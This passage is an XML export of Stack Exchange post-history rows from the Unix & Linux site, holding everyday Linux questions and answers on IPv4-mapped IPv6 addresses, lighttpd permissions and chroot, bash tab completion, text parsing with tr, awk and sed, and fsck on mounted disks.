  <row Id="28769" PostHistoryTypeId="2" PostId="11823" RevisionGUID="ff1477bd-6bb8-4a62-aeba-3969b57705f3" CreationDate="2011-04-22T14:58:59.517" UserId="6766" Text="&#xD;&#xA;I have a squeeze box that I'm testing ipv6 on... eth3 is the interface... if I set up an 'normal' ipv6 address (`::101:c0a8:3132/120`), I see expected results in `ifconfig`...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    eth3      Link encap:Ethernet  HWaddr 00:02:b3:9a:af:6d  &#xD;&#xA;              inet6 addr: fe80::202:b3ff:fe9a:af6d/64 Scope:Link&#xD;&#xA;              inet6 addr: ::101:c0a8:3132/120 Scope:Global&#xD;&#xA;&#xD;&#xA;But if I configure an [IPv4-mapped IPv6 address](http://en.wikipedia.org/wiki/IPv6#IPv4-mapped_IPv6_addresses), I don't see part of the address...&#xD;&#xA;&#xD;&#xA;    [mpenning@hotcoffee EX4200_PC5448]$ sudo ip -6 addr del ::101:c0a8:3132/120 dev eth3&#xD;&#xA;    [mpenning@hotcoffee EX4200_PC5448]$ sudo ip -6 addr add ::ffff:192.168.13.236/120 dev eth3&#xD;&#xA;    [mpenning@hotcoffee EX4200_PC5448]$ ifconfig eth3&#xD;&#xA;    eth3      Link encap:Ethernet  HWaddr 00:02:b3:9a:af:6d  &#xD;&#xA;              inet6 addr: 192.168.13.236/120 Scope:Global&#xD;&#xA;              inet6 addr: fe80::202:b3ff:fe9a:af6d/64 Scope:Link&#xD;&#xA;&#xD;&#xA;Shouldn't this address display as `::ffff:192.168.13.236/120` instead of `192.168.13.236/120`?&#xD;&#xA;&#xD;&#xA;I'm also having a problem pinging when the IPv4-mapped IPv6 address is assigned, so now I wonder whether this related to the unexpected display in ifconfig, or something wrong on the other side.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28770" PostHistoryTypeId="1" PostId="11823" RevisionGUID="ff1477bd-6bb8-4a62-aeba-3969b57705f3" CreationDate="2011-04-22T14:58:59.517" UserId="6766" Text="Interesting debian squeeze ipv6 anomaly" />
  <row Id="28771" PostHistoryTypeId="3" PostId="11823" RevisionGUID="ff1477bd-6bb8-4a62-aeba-3969b57705f3" CreationDate="2011-04-22T14:58:59.517" UserId="6766" Text="édebianàénetworkingàéipv6à" />
  <row Id="28772" PostHistoryTypeId="2" PostId="11824" RevisionGUID="7d6e9fa8-da42-4d05-bfa9-4ddafdb1a67e" CreationDate="2011-04-22T15:02:34.253" UserId="3389" Text="Permissions can help here.&#xD;&#xA;&#xD;&#xA;Run `lighttpd` as a limited user.  I believe you can specify the user and group that `lighttpd` downgrades itself to in `lighttpd.conf`.&#xD;&#xA;&#xD;&#xA;Then, make sure your executable files reachable by lighttpd but owned by root are `chmod`ed to `700`.  This enables only the root, the file owner to execute them.  Careful setting this for directories owned by root, because execute permission on directories is needed to access its contents.&#xD;&#xA;&#xD;&#xA;If you are looking to make sure `lighttpd` can in no way access files other than what you authorize, look into `lighttpd`'s `chroot` options.  This makes a specific directory look like `/`, the top-level directory, to `lighttpd`, preventing it from ever getting access to anything &quot;above&quot; that point.  &#xD;&#xA;&#xD;&#xA;This can be involved if you use script interpreters such as php or perl, as `lighttpd` needs to be able to access them, so you need to put a copy of them and their dependencies (including config files) in the &quot;chroot jail&quot;, as it's called.  It's not an issue of just copying the executable, you need to copy all the libraries (this can be discerned with `ldd {executable-name}`.) and other dependencies and then you're responsible for manually updating it when your php or perl is updated." />
  <row Id="28773" PostHistoryTypeId="17" PostId="11826" RevisionGUID="f159fc46-7d7e-407b-a24b-f09357e2c543" CreationDate="2011-04-22T15:02:59.313" UserId="-1" Comment="from http://stackoverflow.com/questions/5756635/how-can-i-tell-bash-valid-tab-completions-for-arguments-to-my-python-script/5756663#5756663" Text="" />
  <row Id="28774" PostHistoryTypeId="17" PostId="11827" RevisionGUID="9f04fffe-7227-417f-ad7e-d78cdbe7f986" CreationDate="2011-04-22T15:02:59.313" UserId="-1" Comment="from http://stackoverflow.com/questions/5756635/how-can-i-tell-bash-valid-tab-completions-for-arguments-to-my-python-script/5756669#5756669" Text="" />
  <row Id="28775" PostHistoryTypeId="2" PostId="11826" RevisionGUID="40512fb9-d1be-47c3-8144-3dc99c713ca7" CreationDate="2011-04-22T14:56:29.797" UserDisplayName="RestRisiko" Text="This functionality has zero to do with Python. This is a pure functionality of the underlaying shell. So read up the bash docs on auto-completion. &#xD;&#xA;&#xD;&#xA;Google for &quot;bash auto-completion&quot; and you will find at least 5 reasonable docs under the first 10 hits." />
  <row Id="28776" PostHistoryTypeId="2" PostId="11827" RevisionGUID="21bec05f-afc3-4b74-83dc-c1d739809e6c" CreationDate="2011-04-22T14:57:42.790" UserDisplayName="sharth" Text="On Linux systems, you can generally find a large number of example scripts under: `/etc/bash_completion.d`. If you source these scripts, then you will get the autocomplete behavior. &#xD;&#xA;&#xD;&#xA;I've included an example from that directory. This is the completion script for unrar.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    _unrar()&#xD;&#xA;    {&#xD;&#xA;        local cur&#xD;&#xA;    &#xD;&#xA;        COMPREPLY=()&#xD;&#xA;        _get_comp_words_by_ref cur&#xD;&#xA;    &#xD;&#xA;        if [[ &quot;$cur&quot; == -* ]] ; then&#xD;&#xA;            COMPREPLY=( $( compgen -W '-ad -ap -av- -c- -cfg- -cl -cu \&#xD;&#xA;                -dh -ep -f -idp -ierr -inul -kb -o+ -o- -ow -p -p- -r -ta \&#xD;&#xA;                -tb -tn -to -u -v -ver -vp -x -x@ -y' -- &quot;$cur&quot; ) )&#xD;&#xA;        else&#xD;&#xA;            if [ $COMP_CWORD -eq 1 ]; then&#xD;&#xA;                COMPREPLY=( $( compgen -W 'e l lb lt p t v vb vt x' -- &quot;$cur&quot; ) )&#xD;&#xA;            else&#xD;&#xA;                _filedir '@(rar|RAR)'&#xD;&#xA;            fi&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;    } &amp;&amp;&#xD;&#xA;    complete -F _unrar -o filenames unrar&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28777" PostHistoryTypeId="2" PostId="11825" RevisionGUID="3ef6857b-39ce-4340-a492-1cc6e485cd8e" CreationDate="2011-04-22T14:52:21.477" UserDisplayName="Abhinav Sharma" Text="Say I have a program hello.py and one possible valid argument to it is:&#xD;&#xA;&#xD;&#xA;    ./hello.py autoawesomesauce&#xD;&#xA;&#xD;&#xA;Is is possible to type in:&#xD;&#xA;&#xD;&#xA;    ./hello.py auto[tab]&#xD;&#xA;&#xD;&#xA;at which point the partially completed argument is sent to hello, which recognizes it as such and then completes it on the shell to:&#xD;&#xA;&#xD;&#xA;    ./hello.py autoawesomesauce&#xD;&#xA;&#xD;&#xA;I know git does something like this, but can it be done for a Python script + Bash?" />
  <row Id="28778" PostHistoryTypeId="1" PostId="11825" RevisionGUID="3ef6857b-39ce-4340-a492-1cc6e485cd8e" CreationDate="2011-04-22T14:52:21.477" UserDisplayName="Abhinav Sharma" Text="How can I tell bash valid tab-completions for arguments to my Python script" />
  <row Id="28779" PostHistoryTypeId="3" PostId="11825" RevisionGUID="3ef6857b-39ce-4340-a492-1cc6e485cd8e" CreationDate="2011-04-22T14:52:21.477" UserDisplayName="Abhinav Sharma" Text="ébashà" />
  <row Id="28780" PostHistoryTypeId="17" PostId="11825" RevisionGUID="7d735c1d-00a8-4afd-ae14-8c19e985d717" CreationDate="2011-04-22T15:02:59.313" UserId="-1" Comment="from http://stackoverflow.com/questions/5756635/how-can-i-tell-bash-valid-tab-completions-for-arguments-to-my-python-script" Text="" />
  <row Id="28781" PostHistoryTypeId="25" PostId="11825" RevisionGUID="6064c006-fac0-4b2b-ae4b-8a171173c995" CreationDate="2011-04-22T15:09:10.113" Comment="http://twitter.com/#!/StackUnix/status/61446450554482690" />
  <row Id="28782" PostHistoryTypeId="2" PostId="11828" RevisionGUID="f5fcfd5d-7f3a-4153-bc67-72ba0f61494f" CreationDate="2011-04-22T15:22:53.870" UserId="1207" Text="Using `tr`:&#xD;&#xA; &#xD;&#xA;    tr -s '[:blank:]' ',' &lt;file&#xD;&#xA;&#xD;&#xA;This will replace any horizontal whitespace with a comma.  Any repeated whitespace will only be replaced with a single comma." />
  <row Id="28783" PostHistoryTypeId="5" PostId="11817" RevisionGUID="6dba796e-ce1e-46ff-92eb-ebad0d9ba294" CreationDate="2011-04-22T17:09:00.090" UserId="3983" Comment="typo: dirvers -&gt; drivers" Text="Debian has a release maturity model, where Unstable, Sid, is where all the new stuff goes in. If it sticks, then Unstable becomes Testing, in which nothing can be added during testing. This typically lasts 1.5 - 2 years. If no problem at that point, Testing becomes the new Stable release.&#xD;&#xA;&#xD;&#xA;Security updates are made to Stable first, then to Testing.&#xD;&#xA;&#xD;&#xA;Debian Stable is notoriously stable, and notoriously behind the times, but very reliable for servers.&#xD;&#xA;&#xD;&#xA;Ubuntu came along and said: we take Debian Unstable, make it more stable, add all the latest gadgets, drivers, etc, and release it. &#xD;&#xA;&#xD;&#xA;Ubuntu then works at the security updates, package updates, etc, for their Ubuntu releases. &#xD;&#xA;&#xD;&#xA;Note that I gladly use Ubuntu on the desktop, but I stick to Debian Stable for servers. &#xD;&#xA;&#xD;&#xA;Makes sense?" />
  <row Id="28784" PostHistoryTypeId="5" PostId="11308" RevisionGUID="77157453-3634-47b3-9e21-9f3370d7eb96" CreationDate="2011-04-22T17:43:34.047" UserId="1170" Comment="deleted 2 characters in body" Text="For people like me, who choose to remember only the basic usage of tools, and willing to accept less elegant and less efficient solutions:&#xD;&#xA;&#xD;&#xA;    head -n $(grep -n pattern filename | cut -d: -f1) filename" />
  <row Id="28785" PostHistoryTypeId="2" PostId="11829" RevisionGUID="2397bde0-7dc3-4a1b-9e2c-e3adec33916a" CreationDate="2011-04-22T17:56:27.797" UserId="6866" Text="No. You cannot safely fsck a mounted disk. You can force it to, but be aware that doing so can eat your data. To do so, if you are VERY sure you want to, just move to fsck it - fsck will ask for your confirmation to proceed.&#xD;&#xA;&#xD;&#xA;You might be able to do what you need using &quot;debugfs&quot; - this can be used on a live filesystem I believe... but please realize it's a debugging shell for ext2/ext3 and can EASILY destroy your filesystem and/or data." />
  <row Id="28786" PostHistoryTypeId="5" PostId="11819" RevisionGUID="052b152c-935e-429b-80b5-badfc58657e6" CreationDate="2011-04-22T18:04:05.457" UserId="1627" Comment="added 192 characters in body" Text="For more complex parsing, you should use [sed(1)][1]:&#xD;&#xA;&#xD;&#xA;    sed -e 's/\[[0-9]\+\] \([^,]\+\),.*/\1/' cities&#xD;&#xA;&#xD;&#xA;Or using `-r` to simplify the regular expression, as suggested by [pepoluan][2]:&#xD;&#xA;&#xD;&#xA;    sed -re 's/\[[0-9]+\] ([^,]+),.*/\1/' cities&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/sed&#xD;&#xA;  [2]: http://unix.stackexchange.com/users/5589/pepoluan" />
  <row Id="28787" PostHistoryTypeId="25" PostId="11815" RevisionGUID="cdb073c5-f13f-41a5-8f73-ca7bcb7c30ce" CreationDate="2011-04-22T18:09:10.653" Comment="http://twitter.com/#!/StackUnix/status/61491751948525568" />
  <row Id="28788" PostHistoryTypeId="2" PostId="11830" RevisionGUID="a6f0be39-b64c-426c-bdab-a58670c5d0c9" CreationDate="2011-04-22T18:23:01.853" UserId="3519" Text="Awk is beautiful with that sort of question. Try:&#xD;&#xA;&#xD;&#xA;    awk -F'[],] *' '{print $2}' cities&#xD;&#xA;&#xD;&#xA;This defines a filed separator `-F` as `[],] *` - which means one occurence of either a closing angle bracket or a comma, followed by zero or any number of spaces. Of course you can change that to suit any requirement. Read up on regular expressions.&#xD;&#xA;&#xD;&#xA;Once the line is split, you can do what you want with the split result. Here, I decided you print out the second field only with `print $2`." />
  <row Id="28789" PostHistoryTypeId="5" PostId="11830" RevisionGUID="a4840c8e-c600-409a-a671-dc5ab99c0b61" CreationDate="2011-04-22T18:29:29.193" UserId="3519" Comment="edited body" Text="Awk is beautiful with that sort of question. Try:&#xD;&#xA;&#xD;&#xA;    awk -F'[],] *' '{print $2}' cities&#xD;&#xA;&#xD;&#xA;This defines a field separator `-F` as `[],] *` - which means one occurence of either a closing angle bracket or a comma, followed by zero or any number of spaces. Of course you can change that to suit any requirement. Read up on regular expressions.&#xD;&#xA;&#xD;&#xA;Once the line is split, you can do what you want with the split result. Here, I decided you print out the second field only with `print $2`." />
  <row Id="28790" PostHistoryTypeId="2" PostId="11831" RevisionGUID="d001fe13-9707-4054-8a2b-954c35e055c2" CreationDate="2011-04-22T18:34:14.447" UserId="1627" Text="IPv4-mapped IPv6 addresses are not supposed to be assigned to IPv6 interfaces or for IPv6 native communication. Not on current Linux at least. Add normal IPv4 addresses using `ip addr add`, without the `-6` flag and in normal IPv4 notation.&#xD;&#xA;&#xD;&#xA;    sudo ip addr add 192.168.13.236/24 dev eth3&#xD;&#xA;&#xD;&#xA;And also, again, do not use `ifconfig`. It is [old][1], [deprecated][2], broken and [superseded][3] by [iproute2][4]. It will not display IPv6 addresses correctly, and will not display multiple IPv4 addresses on the same interface without aliases.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tazenda.demon.co.uk/phil/net-tools/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Ifconfig#Current_status&#xD;&#xA;  [3]: http://lartc.org/howto/lartc.iproute2.html&#xD;&#xA;  [4]: http://www.linuxfoundation.org/collaborate/workgroups/networking/iproute2" />
  <row Id="28791" PostHistoryTypeId="2" PostId="11832" RevisionGUID="1513f3e2-9a6f-4bca-9761-a1d95b5b1d18" CreationDate="2011-04-22T18:51:41.007" UserId="1375" Text="From an end user perspective, what needs to be, and have been done, by developers to support IPv6 in the Linux kernel and Linux distributions?&#xD;&#xA;&#xD;&#xA;In other words, when (and if) someday the worlds switches to IPv6, can I turn on my Linux machine and everything will just work? Has the development been done, and is there anything I should do as an end user to prepare for the transition? Thanks." />
  <row Id="28792" PostHistoryTypeId="1" PostId="11832" RevisionGUID="1513f3e2-9a6f-4bca-9761-a1d95b5b1d18" CreationDate="2011-04-22T18:51:41.007" UserId="1375" Text="General Linux support for IPv6 ready?" />
  <row Id="28793" PostHistoryTypeId="3" PostId="11832" RevisionGUID="1513f3e2-9a6f-4bca-9761-a1d95b5b1d18" CreationDate="2011-04-22T18:51:41.007" UserId="1375" Text="ékernelàéipàéinternetàéipv6àéipv4à" />
  <row Id="28794" PostHistoryTypeId="5" PostId="11823" RevisionGUID="132d05cb-67bc-45ad-ac86-d255adfaccb5" CreationDate="2011-04-22T18:52:58.227" UserId="6766" Comment="added 582 characters in body; deleted 582 characters in body" Text="I have a squeeze box that I'm testing ipv6 on... eth3 is the interface... if I set up an 'normal' ipv6 address (`::101:c0a8:3132/120`), I see expected results in `ifconfig`...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    eth3      Link encap:Ethernet  HWaddr 00:02:b3:9a:af:6d  &#xD;&#xA;              inet6 addr: fe80::202:b3ff:fe9a:af6d/64 Scope:Link&#xD;&#xA;              inet6 addr: ::101:c0a8:3132/120 Scope:Global&#xD;&#xA;&#xD;&#xA;But if I configure an [IPv4-mapped IPv6 address](http://en.wikipedia.org/wiki/IPv6#IPv4-mapped_IPv6_addresses), I don't see part of the address...&#xD;&#xA;&#xD;&#xA;    [mpenning@hotcoffee EX4200_PC5448]$ sudo ip -6 addr del ::101:c0a8:3132/120 dev eth3&#xD;&#xA;    [mpenning@hotcoffee EX4200_PC5448]$ sudo ip -6 addr add ::ffff:192.168.13.236/120 dev eth3&#xD;&#xA;    [mpenning@hotcoffee EX4200_PC5448]$ ifconfig eth3&#xD;&#xA;    eth3      Link encap:Ethernet  HWaddr 00:02:b3:9a:af:6d  &#xD;&#xA;              inet6 addr: 192.168.13.236/120 Scope:Global&#xD;&#xA;              inet6 addr: fe80::202:b3ff:fe9a:af6d/64 Scope:Link&#xD;&#xA;&#xD;&#xA;Shouldn't this address display as `::ffff:192.168.13.236/120` instead of `192.168.13.236/120`?&#xD;&#xA;&#xD;&#xA;I'm also having a problem pinging when the IPv4-mapped IPv6 address is assigned, so now I wonder whether this related to the unexpected display in ifconfig, or something wrong on the other side.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28795" PostHistoryTypeId="5" PostId="11823" RevisionGUID="01361e3e-eaa8-42ab-83c7-e7e0f61c98f7" CreationDate="2011-04-22T19:10:15.880" UserId="6766" Comment="added 482 characters in body" Text="I have a squeeze box that I'm testing ipv6 on... eth3 is the interface... if I set up an 'normal' ipv6 address (`::101:c0a8:3132/120`), I see expected results in `ifconfig`...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    eth3      Link encap:Ethernet  HWaddr 00:02:b3:9a:af:6d  &#xD;&#xA;              inet6 addr: fe80::202:b3ff:fe9a:af6d/64 Scope:Link&#xD;&#xA;              inet6 addr: ::101:c0a8:3132/120 Scope:Global&#xD;&#xA;&#xD;&#xA;But if I configure an [IPv4-mapped IPv6 address](http://en.wikipedia.org/wiki/IPv6#IPv4-mapped_IPv6_addresses), I don't see part of the address...&#xD;&#xA;&#xD;&#xA;    [mpenning@hotcoffee EX4200_PC5448]$ sudo ip -6 addr del ::101:c0a8:3132/120 dev eth3&#xD;&#xA;    [mpenning@hotcoffee EX4200_PC5448]$ sudo ip -6 addr add ::ffff:192.168.13.236/120 dev eth3&#xD;&#xA;    [mpenning@hotcoffee EX4200_PC5448]$ ifconfig eth3&#xD;&#xA;    eth3      Link encap:Ethernet  HWaddr 00:02:b3:9a:af:6d  &#xD;&#xA;              inet6 addr: 192.168.13.236/120 Scope:Global&#xD;&#xA;              inet6 addr: fe80::202:b3ff:fe9a:af6d/64 Scope:Link&#xD;&#xA;&#xD;&#xA;Shouldn't this address display as `::ffff:192.168.13.236/120` instead of `192.168.13.236/120`?&#xD;&#xA;&#xD;&#xA;I'm also having a problem pinging when the IPv4-mapped IPv6 address is assigned, so now I wonder whether this related to the unexpected display in ifconfig, or something wrong on the other side.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;Using `ip addr show eth3`...&#xD;&#xA;&#xD;&#xA;    [mpenning@hotcoffee ~]$ ip addr show eth3&#xD;&#xA;    5: eth3: &lt;NO-CARRIER,BROADCAST,MULTICAST,UP&gt; mtu 1500 qdisc pfifo_fast state DOWN qlen 1000&#xD;&#xA;        link/ether 00:02:b3:9a:af:6d brd ff:ff:ff:ff:ff:ff&#xD;&#xA;        inet6 ::ffff:192.168.13.236/120 scope global &#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;        inet6 fe80::202:b3ff:fe9a:af6d/64 scope link &#xD;&#xA;           valid_lft forever preferred_lft forever&#xD;&#xA;    [mpenning@hotcoffee ~]$" />
  <row Id="28796" PostHistoryTypeId="5" PostId="11830" RevisionGUID="baab5cb8-c08e-4f12-9a86-b33082cdcb46" CreationDate="2011-04-22T19:17:54.490" UserId="3519" Comment="added 1 characters in body" Text="Awk is beautiful with that sort of question. Try:&#xD;&#xA;&#xD;&#xA;    awk -F'[],] *' '{print $2}' cities&#xD;&#xA;&#xD;&#xA;This defines a field separator `-F` as `[],] *` - which means one occurence of either a closing square bracket or a comma, followed by zero or any number of spaces. Of course you can change that to suit any requirement. Read up on regular expressions.&#xD;&#xA;&#xD;&#xA;Once the line is split, you can do what you want with the split result. Here, I decided you print out the second field only with `print $2`." />
  <row Id="28797" PostHistoryTypeId="6" PostId="11823" RevisionGUID="11404a50-dfdd-4345-a779-ad051fe1485f" CreationDate="2011-04-22T19:23:08.197" UserId="885" Comment="edited tags" Text="élinuxàédebianàénetworkingàéipv6à" />
  <row Id="28798" PostHistoryTypeId="5" PostId="11830" RevisionGUID="af02c8ea-f6ff-4acc-aa1a-e687aa25d70f" CreationDate="2011-04-22T19:23:25.373" UserId="3519" Comment="added 119 characters in body" Text="Awk is beautiful with that sort of question. Try:&#xD;&#xA;&#xD;&#xA;    awk -F'[],] *' '{print $2}' cities&#xD;&#xA;&#xD;&#xA;This defines a field separator `-F` as `[],] *` - which means one occurence of either a closing square bracket or a comma, followed by zero or any number of spaces. Of course you can change that to suit any requirement. Read up on regular expressions.&#xD;&#xA;&#xD;&#xA;Once the line is split, you can do what you want with the split result. Here, I decided you print out the second field only with `print $2`. Note that it is important to use single quotes around the awk instructions otherwise $2 gets substituted by the shell." />
  <row Id="28799" PostHistoryTypeId="6" PostId="11832" RevisionGUID="60ac6908-4931-450b-8d9f-aaab6bfe7a0a" CreationDate="2011-04-22T19:23:33.610" UserId="885" Comment="edited tags" Text="élinuxàéipv6à" />
  <row Id="28800" PostHistoryTypeId="6" PostId="11804" RevisionGUID="b7b3c881-8753-435d-8408-83d2471d0b61" CreationDate="2011-04-22T19:25:06.543" UserId="885" Comment="edited tags" Text="élinuxàéfilesystemsàédisköusageàéfsckà" />
  <row Id="28801" PostHistoryTypeId="6" PostId="11825" RevisionGUID="2cb810d5-1056-414c-9c1e-690e57eb082b" CreationDate="2011-04-22T19:28:10.627" UserId="885" Comment="edited tags" Text="ébashàéautocompleteà" />
  <row Id="28802" PostHistoryTypeId="6" PostId="11794" RevisionGUID="cefdbe1a-abdf-4b03-8ecd-03785badf2e7" CreationDate="2011-04-22T19:28:51.547" UserId="885" Comment="edited tags" Text="épermissionsàéexecutableàélighttpdà" />
  <row Id="28803" PostHistoryTypeId="6" PostId="11793" RevisionGUID="5bf707e5-e4d6-4bea-9fb9-100aaef7be9e" CreationDate="2011-04-22T19:29:20.377" UserId="885" Comment="edited tags" Text="élinuxàédriversàéusbà" />
  <row Id="28804" PostHistoryTypeId="5" PostId="11814" RevisionGUID="cd55417d-dd54-4418-94b5-ec7c3a32921d" CreationDate="2011-04-22T19:37:38.127" UserId="885" Comment="formatting; links to other answers; correct useradd/usermod confusion" Text="You can do this either while creating the user with the option `useradd -s /bin/bash`, or later with `usermod -s /bin/bash` [as suggested by can](http://unix.stackexchange.com/questions/11485/different-shell-for-root-and-non-root-user/11491#11491), or by modifying the `/etc/passwd` file [as suggested by asoundmove](http://unix.stackexchange.com/questions/11485/different-shell-for-root-and-non-root-user/11488#11488). But if you are looking for another solution, then I suggest looking for the file `/etc/default/useradd` and modifying it according to your need. If you change the line `SHELL=/bin/bash`, it will apply to every new user. Also have a look at `/etc/login.defs` file.&#xD;&#xA;&#xD;&#xA;Hope it will help you." />
  <row Id="28805" PostHistoryTypeId="6" PostId="11799" RevisionGUID="d397273d-b72e-4d30-afed-e04ba2605f52" CreationDate="2011-04-22T19:38:54.740" UserId="885" Comment="edited tags" Text="éterminalàélogsà" />
  <row Id="28806" PostHistoryTypeId="5" PostId="11805" RevisionGUID="7a1d2c0c-d046-4e0d-bbbb-65d60b72dc75" CreationDate="2011-04-22T19:45:30.640" UserId="73" Comment="added 2 characters in body" Text="When I type my username and password into the login field, I receive the following error:&#xD;&#xA;&#xD;&#xA;&gt; Login incorrect&#xD;&#xA;&#xD;&#xA;How can I solve this problem? I am using CentOS." />
  <row Id="28807" PostHistoryTypeId="2" PostId="11833" RevisionGUID="5c674078-e3d7-48bb-b1a4-47789d7e287e" CreationDate="2011-04-22T19:53:23.507" UserId="6851" Text="Support for IPv6 is implemented in Linux, but you might still have to do two things:&#xD;&#xA;&#xD;&#xA; 1. Ensure that Ipv6 functionality is enabled, e.g that your kernel have IPv6 related modules loaded or compiled in.&#xD;&#xA; 2. Where relevant, learn what tools there are which are IPv6 specific versions and ensure those versions are available, e.g: for pinging over IPv4 networks (like the internet as of today) you use 'ping' but for pinging using IPv6, you rely on ping6.&#xD;&#xA;&#xD;&#xA;The Linux distributions I have worked with seem to have IPv6 support already configured, out of the box, but I would recommend you to check your Linux box.  E.g, check if you have a ping6 command, and check if the 'ifconfig' command list one or more 'inet6 addr' addresses.&#xD;&#xA;&#xD;&#xA;(For some distributions you might have to explicitly add support for IPv6, like Gentoo for example.  OTOH, in Gentoo you have to explicitly enable *anything* you want included)" />
  <row Id="28808" PostHistoryTypeId="2" PostId="11834" RevisionGUID="8f3702da-499a-4edd-b7de-e8001c71d3db" CreationDate="2011-04-22T19:53:29.757" UserId="1925" Text="Mostly linux distributions already ship with working IPv6 configs, and many apps have been updated to be &quot;in the know&quot;. To my knowledge the kernel and majority of networking drivers fully support it. There are a few apps that are still finicky or lack support but things will shape up easily on the linux site as adoption grows.&#xD;&#xA;&#xD;&#xA;As a user I don't think there is much you would do except go with the flow. If you a network admin, get cranking :)" />
  <row Id="28809" PostHistoryTypeId="6" PostId="11805" RevisionGUID="cb68c787-d16e-4a73-af4e-13015cab4ac9" CreationDate="2011-04-22T19:54:23.690" UserId="885" Comment="edited tags" Text="élinuxàécentosàéloginà" />
  <row Id="28810" PostHistoryTypeId="2" PostId="11835" RevisionGUID="f0d618d4-6cd4-405d-9b3c-b937901efc5a" CreationDate="2011-04-22T20:02:02.483" UserId="5289" Text="When I convert a pdf file to bunch of jpg files using &#xD;&#xA;&#xD;&#xA;    convert -quality 100 file.pdf page_%04d.jpg&#xD;&#xA;&#xD;&#xA;I have appreciable quality loss. &#xD;&#xA;&#xD;&#xA;However if I do the following, there is no (noticeable) quality loss:&#xD;&#xA;&#xD;&#xA;Start gscan2pdf, choose file-&gt; import (and choose file.pdf). Then go to the temporary directory of gscan2pdf. There are many pnm files (one for every page of the pdf-file). Now I do&#xD;&#xA;&#xD;&#xA;      for file in *.pnm; do            &#xD;&#xA;      convert $file $file.jpg done&#xD;&#xA;&#xD;&#xA;The resulting jpg-files are (roughly) of the same quality as the original pdf (which is what I want). &#xD;&#xA;&#xD;&#xA;Now my question is, if there is a simple command line way to convert the pdf file to a bunch of jpg files without noticeable quality loss? (The solution above is too complicated and time consuming).&#xD;&#xA;" />
  <row Id="28811" PostHistoryTypeId="1" PostId="11835" RevisionGUID="f0d618d4-6cd4-405d-9b3c-b937901efc5a" CreationDate="2011-04-22T20:02:02.483" UserId="5289" Text="pdf to jpg without quality loss; gscan2pdf" />
  <row Id="28812" PostHistoryTypeId="3" PostId="11835" RevisionGUID="f0d618d4-6cd4-405d-9b3c-b937901efc5a" CreationDate="2011-04-22T20:02:02.483" UserId="5289" Text="écommandölineàéimageömanipulationàéconversionàépdfàéimagemagickà" />
  <row Id="28813" PostHistoryTypeId="5" PostId="11831" RevisionGUID="b12b9e65-ef5e-4212-a726-137247e45ab3" CreationDate="2011-04-22T20:02:10.893" UserId="1627" Comment="added 1709 characters in body" Text="IPv4-mapped IPv6 addresses are not supposed to be assigned to IPv6 interfaces or for IPv6 native communication. Not on current Linux at least. Add normal IPv4 addresses using `ip addr add`, without the `-6` flag and in normal IPv4 notation.&#xD;&#xA;&#xD;&#xA;    sudo ip addr add 192.168.13.236/24 dev eth3&#xD;&#xA;&#xD;&#xA;And also, again, do not use `ifconfig`. It is [old][1], [deprecated][2], broken and [superseded][3] by [iproute2][4]. It will not display IPv6 addresses correctly, and will not display multiple IPv4 addresses on the same interface without aliases.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I'll clarify the discussion in the comments below here, since it is too big to post as another comment.&#xD;&#xA;&#xD;&#xA;It doesn't make sense to add IPv4 addresses to the IPv6 stack, even if by converting them to IPv4-mapped IPv6 addresses. The IPv6 stack deals with IPv6 addresses and transmit IPv6 packets; the IPv4 stack deals with IPv4 addresses and transmit IPv4 packets.&#xD;&#xA;&#xD;&#xA;Adding the address to the interface and pinging it may work probably because there is some sanity check missing in the kernel code that adds addresses to interfaces.&#xD;&#xA;&#xD;&#xA;IPv4-mapped IPv6 addresses exist so that you can use IPv6 sockets (important note: that is application-level) to communicate to IPv4 hosts. You do not need to add a IPv4-mapped IPv6 address to your interfaces in order to communicate to them using IPv6. Try it:&#xD;&#xA;&#xD;&#xA;    ssh ::ffff:127.0.0.1&#xD;&#xA;&#xD;&#xA;It will work transparently even though ::ffff:127.0.0.1 (IPv6) is not registered in the IPv6 stack for the loopback interface (`lo`). It works because 127.0.0.1/8 (IPv4) is. The system actually uses IPv4 packets even though you provided an IPv6 address. You may check this with wireshark or tcpdump. This is also valid when you receive an IPv4 packet or connection using an IPv6 socket bound/listening to the IPv6 wildcard address.&#xD;&#xA;&#xD;&#xA;Note that ICMP and ping works differently because the API for ICMP sockets is completely different between IPv4 and IPv6. `ping6` actually creates a raw ICMPv6 packet with the address given, which doesn't make sense in the wire. IMO this may be safely considered a bug, both `ping6` and the kernel should fail earlier before injecting IPv6 packets with IPv4 addresses into the wire, or allowing such addresses to exist in the IPv6 stack.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tazenda.demon.co.uk/phil/net-tools/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Ifconfig#Current_status&#xD;&#xA;  [3]: http://lartc.org/howto/lartc.iproute2.html&#xD;&#xA;  [4]: http://www.linuxfoundation.org/collaborate/workgroups/networking/iproute2" />
  <row Id="28814" PostHistoryTypeId="2" PostId="11836" RevisionGUID="0d9da7a7-efb3-44a1-8e1f-d4fa27eebbac" CreationDate="2011-04-22T20:05:28.363" UserId="4520" Text="World IPv6 day is comming in June.  Linux is ready.  Comcast is using software based on the OpenWRT (based on Linux) router software in their IPv6 rapid deployment trial.&#xD;&#xA;&#xD;&#xA;Linux is ready for IPv6 and has been for a long time.  For years people have been working on disabling IPv6 support as things broke when it was enabled.  Fortunately, most of these things have been fixed, and most systems run IPv6 with local link connectivity.  &#xD;&#xA;&#xD;&#xA;I have dual stack implementation using OpenWRT and Ubuntu running now.  Due to lack of support by my ISP I am using a 6in4 tunnel   I have written articles on [Implementing IPv6 6to4 on OpenWRT][1] and a followup [Implementing IPv6 Part 2][2].  The author of the [Shorenet][3] firewall has implemented an IPv6 firewall andd documents how to setup [6to4  and 